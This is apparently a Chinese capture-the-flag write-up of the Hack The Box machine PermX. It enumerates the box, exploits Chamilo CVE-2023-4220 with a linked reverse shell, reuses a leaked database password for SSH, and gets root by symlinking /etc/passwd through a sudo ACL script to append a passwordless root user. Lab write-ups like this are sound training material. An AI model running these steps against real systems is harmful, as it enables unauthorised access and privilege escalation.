Permx靶机笔记

概述

permx靶机是HTB的简单靶机,这台靶机整体考验渗透人员的信息搜集能力,可以收只有信息搜集的快速,才能快速拿到它的flag。

整体是比较简单的靶机

靶机连接:https://app.hackthebox.com/machines/PermX

一、nmap扫描

1)端口扫描
nmap -sT --min-rate 10000 -p- -o ports 10.10.11.23
Nmap scan report for 10.10.11.23
Host is up (2.4s latency).
Not shown: 65495 filtered tcp ports (no-response), 38 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http # Nmap done at Tue Aug 6 09:44:09 2024 -- 1 IP address (1 host up) scanned in 327.15 seconds
2)详细信息扫描
nmap -sT -sV -sC -O -p22,80 -o detail 10.10.11.23
Nmap scan report for 10.10.11.23
Host is up (2.7s latency). PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 e25c5d8c473ed872f7b4800349866def (ECDSA)
|_ 256 1f41028e6b17189ca0ac5423e9713017 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://permx.htb
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 4.15 - 5.6 (93%), Linux 5.4 (93%), Linux 3.8 (92%), QNAP QTS 4.0 - 4.2 (92%), Linux 5.3 - 5.4 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Aug 6 09:57:53 2024 -- 1 IP address (1 host up) scanned in 133.37 seconds

看到``http-title: Did not follow redirect to http://permx.htb`

我们去/etc/hosts文件中绑定域名

sudo vi /etc/hosts

10.10.11.23 permx.htb写进去

二、访问web

http://permx.htb

开始爆破子域名

sudo gobuster dns -d permx.htb -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
[sudo] kali 的密码:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Domain: permx.htb
[+] Threads: 10
[+] Timeout: 1s
[+] Wordlist: /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
===============================================================
Starting gobuster in DNS enumeration mode
===============================================================
Found: lms.permx.htb Progress: 4989 / 4990 (99.98%)
===============================================================
Finished
===============================================================

看到结果lms.permx.htb

同样写到/etc/hosts文件中,打开浏览器进行访问。

一个登录窗口,应该是cms。网上找一下有没有漏洞公开信息。同时进行目录爆破,看有没有一些页面信息。

1)目录爆破
sudo gobuster dir -u http://lms.permx.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://lms.permx.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/main (Status: 301) [Size: 313] [--> http://lms.permx.htb/main/]
/web (Status: 301) [Size: 312] [--> http://lms.permx.htb/web/]
/documentation (Status: 301) [Size: 322] [--> http://lms.permx.htb/documentation/]
/bin (Status: 301) [Size: 312] [--> http://lms.permx.htb/bin/]
/src (Status: 301) [Size: 312] [--> http://lms.permx.htb/src/]
/app (Status: 301) [Size: 312] [--> http://lms.permx.htb/app/]
/vendor (Status: 301) [Size: 315] [--> http://lms.permx.htb/vendor/]
/LICENSE (Status: 200) [Size: 35147]
/plugin (Status: 301) [Size: 315] [--> http://lms.permx.htb/plugin/]
/certificates (Status: 301) [Size: 321] [--> http://lms.permx.htb/certificates/]
Progress: 39913 / 220561 (18.10%)
/custompages (Status: 301) [Size: 320] [--> http://lms.permx.htb/custompages/]
/server-status (Status: 403) [Size: 278]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================

也没什么有用的路径泄露出来

2)CVE搜索

找到了一个文件上传的漏洞CVE-2023-4220

exploit:https://github.com/Ziad-Sakr/Chamilo-CVE-2023-4220-Exploit

php-reverse-shell:https://pentestmonkey.net/tools/web-shells/php-reverse-shell

三、获得立足点

两个文件下载下来

修改一下reverse.php文件的ip地址和端口

chmod +x chamilo-exp.sh

成功获得立足点

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm-color # 可以用clear清屏

我们在用户目录下发现了mtz用户

四、获得mtz用户权限

find / -name configuration.php 2> /dev/null

找到了chamilo的配置文件,去打开看看

cat /var/www/chamilo/app/config/configuration.php
cat /var/www/chamilo/plugin/sepe/src/configuration.php

在app目录下的配置文件中,我们看到了数据库的用户名和密码

我们连接数据库

mysql -u chamilo -p03F6lY3uXAP2bkW8

成功进入数据库

这里有admin和password的hash值

用hashcat等工具尝试破解hash值,可惜一无所获

我们想一下,这个数据库的密码03F6lY3uXAP2bkW8 会不会和它ssh用户mtz的密码一样呢 尝试一下

sudo ssh mtz@10.10.11.23

03F6lY3uXAP2bkW8

发现用户flag

五、提权到root

sudo -l 看到有一个脚本

#!/bin/bash

if [ "$#" -ne 3 ]; then
/usr/bin/echo "Usage: $0 user perm file"
exit 1
fi user="$1"
perm="$2"
target="$3" if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
/usr/bin/echo "Access denied."
exit 1
fi # Check if the path is a file
if [ ! -f "$target" ]; then
/usr/bin/echo "Target must be a file."
exit 1
fi /usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"

因为文件是不可写的,我们只能审计一下这个脚本文件,看看能不能完成提权了。

这里阻止了一些恶意的操作,我们可以尝试链文件

mtz@permx:~:$ ln -s /etc/passwd /home/mtz/test
mtz@permx:~:$ sudo /opt/acl.sh mtz rw /home/mtz/test
mtz@permx:~:$ echo "lingx5::0:0:lingx5:/root:/bin/bash" >> ./test
mtz@permx:~:$ su lingx5 root@permx:/home/mtz:#

成功拿到root的flag

总结

  1. 我们用nmap扫描,探测出了目标服务有http和ssh服务,对http服务进行子域名枚举,在它的旁站中,我们发现他是一个cms的架构
  2. 在github上找到了chamilo框架的CVE-2023-4220漏洞,根据github上的教程利用exp,成功后的了www-data用户权限。
  3. 在chamilo框架的配置文件中,我们发现mysql数据库的配置信息,可以成功登陆数据库,但是admin的密码是hash值很难破解。
  4. 我们想到mysql和ssh会不会存在撞库的可能(两者密码是一样的),我们在home目录下发现mtz用户,尝试ssh连接,成功获得mtz用户的权限
  5. 在mtz的sudo列表中看到了/opt/acl.sh文件,通过对shell脚本的审计,我们发现这个脚本可以给``/home/mtz/*的文件赋权限,由此我们利用软连接的方式,获得/etc/passwd`的写权限,成功提权到root。

HTB-Permx靶机笔记的更多相关文章

  1. 【HTB系列】靶机Frolic的渗透测试详解

    出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) Hack The Box是一个CTF挑战靶机平台,在线渗透测试平台.它能帮助你提升渗透测 ...

  2. 【HTB系列】靶机Access的渗透测试详解

    出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) Hack The Box是一个CTF挑战靶机平台,在线渗透测试平台.它能帮助你提升渗透测 ...

  3. 【HTB系列】靶机Chaos的渗透测试详解

    出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) 知识点: 通过域名或者IP可能会得到网站的不同响应 Wpscan的扫描wordpress ...

  4. 【HTB系列】靶机Querier的渗透测试

    出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) 总结与反思: 1.收集信息要全面 2.用snmp-check检查snmp目标是否开启服务 ...

  5. 【HTB系列】靶机Netmon的渗透测试

    出品|MS08067实验室(www.ms08067.com) 本文作者:是大方子(Ms08067实验室核心成员) 总结和反思: win中执行powershell的远程代码下载执行注意双引号转义 对po ...

  6. 【HTB系列】靶机Bitlab的渗透测试

    出品|MS08067实验室(www.ms08067.com) 本文作者:是大方子(Ms08067实验室核心成员) 0x00 本文目录 反思与总结 基本信息 渗透测试过程 补充 0x01 反思与总结 c ...

  7. vulnhub靶机Tr0ll:1渗透笔记

    Tr0ll:1渗透笔记 靶场下载地址:https://www.vulnhub.com/entry/tr0ll-1,100/ kali ip:192.168.20.128 靶机和kali位于同一网段 信 ...

  8. vulnhub靶机djinn:1渗透笔记

    djinn:1渗透笔记 靶机下载地址:https://www.vulnhub.com/entry/djinn-1,397/ 信息收集 首先我们嘚确保一点,kali机和靶机处于同一网段,查看kali i ...

  9. HTB Linux queuing discipline manual - user guide笔记

    1. Introduction HTB is meant as a more understandable, intuitive and faster replacement for the CBQ ...

  10. sqli-labs靶机注入笔记1-10关

    嗯,开始记录sqli-lab的每关笔记,复习一次 1-2关 基于错误的字符串/数字型注入 闭合的符号有区别而已 http://www.sqli-lab.cn/Less-1/?id=1 or 1=1 - ...

随机推荐

  1. Lecture3

    Smiling & Weeping ---- 蝴蝶在双翼里藏匿夏的脉络 妄图在绿意中品鉴隆冬 第三章 Git分支管理 3.1 分支的简介 Git最重要的运用场景是多人协同开发,但是如何能保证每 ...

  2. Scrcpy - 开源免费在电脑显示手机画面并控制手机的工具 (投屏/录屏/免Root)

    教程:https://www.iplaysoft.com/scrcpy.html 官方地址:https://github.com/Genymobile/scrcpy

  3. 【论文阅读】自动驾驶光流任务 DeFlow: Decoder of Scene Flow Network in Autonomous Driving

    再一次轮到讲自己的paper!耶,宣传一下自己的工作,顺便完成中文博客的解读 方便大家讨论. Title Picture Reference and pictures paper: https://a ...

  4. TI AM64x工业开发板硬件说明书(双核ARM Cortex-A53 + 单/四核Cortex-R5F + 单核Cortex-M4F,主频1GHz)

    前  言 本文主要介绍TL64x-EVM评估板硬件接口资源以及设计注意事项等内容. 创龙科技TL64x-EVM是一款基于TI Sitara系列AM64x双核ARM Cortex-A53 + 单/四核C ...

  5. Spring MVC 中使用 RESTFul 编程风格

    1. Spring MVC 中使用 RESTFul 编程风格 @ 目录 1. Spring MVC 中使用 RESTFul 编程风格 2. RESTFul 编程风格 2.1 RESTFul 是什么 2 ...

  6. makedown 笔记

    前言 记录一下自己经常忘的makedown指令,不断更新. makedown 添加空格  

  7. 大语言模型的应用探索—AI Agent初探!

    前言 大语言模型的应用之一是与大语言模型进行聊天也就是一个ChatBot,这个应用已经很广泛了. 接下来的一个应用就是AI Agent. AI Agent是人工智能代理(Artificial Inte ...

  8. node.js (原生模板引擎模板)

    app01 // 引入http模块 const http = require('http'); //连接数据库 require('./model/connects'); // 创建网站服务器 cons ...

  9. [oeasy]python0143_主控程序_main

    主控程序 回忆上次内容 上次把 apple.py 拆分成了 输入 主函数   引用模块中变量的时候 要带上包(module)名 get_fruits.a get_fruits.b     最终 拆分代 ...

  10. WPF使用AppBar实现窗口停靠,适配缩放、全屏响应和多窗口并列(附封装好即开即用的附加属性)

    在吕毅大佬的文章中已经详细介绍了什么是AppBar: WPF 使用 AppBar 将窗口停靠在桌面上,让其他程序不占用此窗口的空间(附我封装的附加属性) - walterlv 即让窗口固定在屏幕某一边 ...